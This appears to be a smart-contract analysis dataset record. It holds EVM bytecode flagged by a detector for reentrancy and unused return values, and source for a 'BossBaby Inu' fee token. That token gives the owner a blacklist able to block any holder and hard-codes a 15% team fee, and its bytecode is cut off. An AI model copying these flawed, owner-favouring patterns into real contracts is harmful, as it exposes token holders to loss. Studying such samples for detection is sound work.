0x6060604052361561017a5763ffffffff60e060020a60003504166303f9c793811461018c5780630a09284a146101a257806313f4e977146101c75780631865c57d146101ec5780631aae3460146102235780633f4ba83a146102545780634042b66f1461027b57806350c67734146102a0578063518ab2a8146102c1578063590e1ae3146102e65780635c975abb146102fb5780635da89ac0146103225780636203f09f146103475780636e50eb3f1461036c57806378b99c2414610384578063797d9437146103b35780637c2e08a3146103d857806383dfd040146103ff5780638456cb5914610426578063876121021461044d5780638da5cb5b146104575780639075becf1461048657806397b150ca146104b5578063af468682146104e6578063b5ab05a51461050b578063cb16e6d014610530578063d7e64c0014610563578063df2d33d514610588578063eac24932146105b2578063f2fde38b146105d8578063f3283fba146105f9578063fc0c546a1461061a575b61018a5b61018733610649565b5b565b005b61018a600160a060020a0360043516610649565b005b34156101ad57600080fd5b6101b5610937565b60405190815260200160405180910390f35b34156101d257600080fd5b6101b561093d565b60405190815260200160405180910390f35b34156101f757600080fd5b6101ff610943565b6040518082600681111561020f57fe5b60ff16815260200191505060405180910390f35b341561022e57600080fd5b6101b5600160a060020a03600435166109eb565b60405190815260200160405180910390f35b341561025f57600080fd5b6102676109fd565b604051901515815260200160405180910390f35b341561028657600080fd5b6101b5610a84565b60405190815260200160405180910390f35b34156102ab57600080fd5b61018a600160a060020a0360043516610a8a565b005b34156102cc57600080fd5b6101b5610b3b565b60405190815260200160405180910390f35b34156102f157600080fd5b61018a610b41565b005b341561030657600080fd5b610267610c34565b604051901515815260200160405180910390f35b341561032d57600080fd5b6101b5610c44565b60405190815260200160405180910390f35b341561035257600080fd5b6101b5610c4a565b60405190815260200160405180910390f35b341561037757600080fd5b61018a600435610c50565b005b341561038f57600080fd5b610397610cb6565b604051600160a060020a03909116815260200160405180910390f35b34156103be57600080fd5b6101b5610cc5565b60405190815260200160405180910390f35b34156103e357600080fd5b610267610ccb565b604051901515815260200160405180910390f35b341561040a57600080fd5b610267610cd7565b604051901515815260200160405180910390f35b341561043157600080fd5b610267610ce3565b604051901515815260200160405180910390f35b61018a610d6f565b005b341561046257600080fd5b610397610db8565b604051600160a060020a03909116815260200160405180910390f35b341561049157600080fd5b610397610dc7565b604051600160a060020a03909116815260200160405180910390f35b34156104c057600080fd5b6101b5600160a060020a0360043516610dd6565b60405190815260200160405180910390f35b34156104f157600080fd5b6101b5610de8565b60405190815260200160405180910390f35b341561051657600080fd5b6101b5610dee565b60405190815260200160405180910390f35b341561053b57600080fd5b610267600160a060020a0360043516610df4565b604051901515815260200160405180910390f35b341561056e57600080fd5b6101b5610e09565b60405190815260200160405180910390f35b341561059357600080fd5b610267600435610e0f565b604051901515815260200160405180910390f35b34156105bd57600080fd5b61018a600160a060020a03600435166024351515610e1a565b005b34156105e357600080fd5b61018a600160a060020a0360043516610ea8565b005b341561060457600080fd5b61018a600160a060020a0360043516610f00565b005b341561062557600080fd5b610397610f59565b604051600160a060020a03909116815260200160405180910390f35b60008054819060a060020a900460ff161561066357600080fd5b60025b61066e610943565b600681111561067957fe5b14156106ab57600160a060020a03831660009081526010602052604090205460ff1615156106a657600080fd5b6106cb565b60035b6106b6610943565b60068111156106c157fe5b146106cb57600080fd5b5b600354349250600160a060020a031663a24bcf468360006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561072057600080fd5b6102c65a03f1151561073157600080fd5b50505060405180519150506000811161074957600080fd5b600160a060020a0383166000908152600e6020526040902054151561077257600b805460010190555b600160a060020a0383166000908152600e602052604090205461079b908363ffffffff610f6816565b600160a060020a0384166000908152600e6020908152604080832093909355600f905220546107d0908263ffffffff610f6816565b600160a060020a0384166000908152600f6020526040902055600a546107fc908363ffffffff610f6816565b600a55600954610812908263ffffffff610f6816565b600981905561082090610e0f565b1561082a57600080fd5b600254600160a060020a03166340c10f19848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561088957600080fd5b6102c65a03f1151561089a57600080fd5b50505060405180515050600454600160a060020a031682156108fc0283604051600060405180830381858888f1935050505015156108d757600080fd5b7f9e9d071824fd57d062ca63fd8b786d8da48a6807eebbcb2d83f9e8d21398e28c8383836040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a15b5b505050565b60075481565b60055481565b600354600090600160a060020a03161515610960575060016109e3565b600654421015610972575060026109e3565b60075442111580156109895750610987610cd7565b155b15610996575060036109e3565b61099e610ccb565b156109ab575060046109e3565b6109b3610ccb565b1580156109c257506000600a54115b80156109d25750600a54600c5410155b156109df575060066109e3565b5060055b5b5b5b5b5b90565b600e6020526000908152604090205481565b6000805433600160a060020a03908116911614610a1957600080fd5b60005460a060020a900460ff161515610a3157600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15060015b5b5b90565b600a5481565b60005433600160a060020a03908116911614610aa557600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038381169190911791829055166304bbc2556000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610b1057600080fd5b6102c65a03f11515610b2157600080fd5b505050604051805190501515610b3657600080fd5b5b5b50565b60095481565b60006006805b610b4f610943565b6006811115610b5a57fe5b14610b6457600080fd5b600160a060020a0333166000908152600e602052604081205492508211610b8a57600080fd5b600160a060020a0333166000908152600e6020526040812055600d54610bb6908363ffffffff610f6816565b600d557fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d3383604051600160a060020a03909216825260208201526040908101905180910390a1600160a060020a03331682156108fc0283604051600060405180830381858888f193505050501515610c2e57600080fd5b5b5b5050565b60005460a060020a900460ff1681565b600d5481565b60015481565b60005433600160a060020a03908116911614610c6b57600080fd5b4281901115610c7957600080fd5b60078190557fd34bb772c4ae9baa99db852f622773b31c7827e8ee818449fef20d30980bd3108160405190815260200160405180910390a15b5b50565b600354600160a060020a031681565b600c5481565b600554600a5410155b90565b60085460095410155b90565b6000805433600160a060020a03908116911614610cff57600080fd5b60005460a060020a900460ff1615610d1657600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a15060015b5b5b90565b6005805b610d7b610943565b6006811115610d8657fe5b14610d9057600080fd5b60003411610d9d57600080fd5b600c54610db0903463ffffffff610f6816565b600c555b5b50565b600054600160a060020a031681565b600454600160a060020a031681565b600f6020526000908152604090205481565b60065481565b60085481565b60106020526000908152604090205460ff1681565b600b5481565b60085481115b919050565b60005433600160a060020a03908116911614610e3557600080fd5b600160a060020a03821660009081526010602052604090819020805460ff19168315151790557fa54714518c5d275fdcd3d2a461e4858e4e8cb04fb93cd0bca9d6d34115f26440908390839051600160a060020a039092168252151560208201526040908101905180910390a15b5b5050565b60005433600160a060020a03908116911614610ec357600080fd5b600160a060020a03811615610b36576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b60005433600160a060020a03908116911614610f1b57600080fd5b600154600b541115610f2c57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600254600160a060020a031681565b600082820183811015610f7757fe5b8091505b50929150505600a165627a7a72305820d9d8e48fbfb3212637b3e10457b517452710763592e789897cd327d569a518bb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,745 |
0xf39d90c53a3405cb0e5cfc4bef2d9d3c7559aed8
|
/*
BossBaby Inu is going to launch in the Uniswap at July 2.
This is fair launch and going to launch without any presale.
tg: https://t.me/bossbabyinu
twitter: https://twitter.com/BossbabyInu
All crypto babies will become a bossbaby in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BossBabyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Boss Baby Inu \xF0\x9F\x91\xBC";
string private constant _symbol = "BossBabyInu \xF0\x9F\x91\xB6";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601281526020017f426f7373204261627920496e7520f09f91bc0000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f426f737342616279496e7520f09f91b600000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffff